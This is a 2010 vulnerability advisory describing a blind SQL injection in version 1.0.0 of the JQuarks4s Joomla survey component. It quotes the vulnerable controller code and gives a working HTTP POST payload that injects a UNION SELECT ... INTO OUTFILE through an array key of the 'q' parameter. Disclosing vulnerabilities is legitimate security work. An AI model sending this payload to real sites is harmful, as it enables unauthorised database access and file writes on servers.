JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability

2010-11-1800:00:00

vulners.com

110

JSON

Name JQuarks4s
Vendor http://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys
Versions Affected 1.0.0

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-11-08

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX

I. ABOUT THE APPLICATION

A Joomla 1.5 free and open source tool for online surveys
and statistical analysis.

II. DESCRIPTION

A parameter is not properly sanitised before being used
in a SQL query.

III. ANALYSIS

Summary:

A) Blind SQL Injection

Input passed to the "q" parameter in when "option"
is set to "com_jquarks4s" and "task" to "submitSurvey" is
not properly verified before being used in a SQL query.
This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code.

The following is the vulnerable code (controller.php):

function submitSurvey()
{
// get post data
$data = JRequest::get('post');

…

$questions = $data['q'];
// debug
//var_dump($data);exit;
foreach ($questions as $question_id => $question) :

$type_id = (int)$question['type_id'];

switch ($type_id) :

…

case 4:
// recuperer les row_id du question_id
$rowsDB = $sessionModel->getRows($question_id);

So, $question_id is a key of the array "q" and type_id
his value. Therefore the injection is possibile by
inserting arbitrary SQL code as the key of the array and
4 as his value.

IV. SAMPLE CODE

A) Blind SQL Injection

Try to send the following packet to your test server.
Ensure that magic_quotes_gpc is set to off in order to
use the following test.

POST /path/index.php HTTP/1.1
Host: target
Content-Type: application x-www-form-urlencoded
Content-Length: 97

option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4

Note that if you want to use the '=' character, you must
covert it in URL encode format (%3D), otherwise the value
4 needed for the injection cannot be read.

V. FIX

No fix.

JSON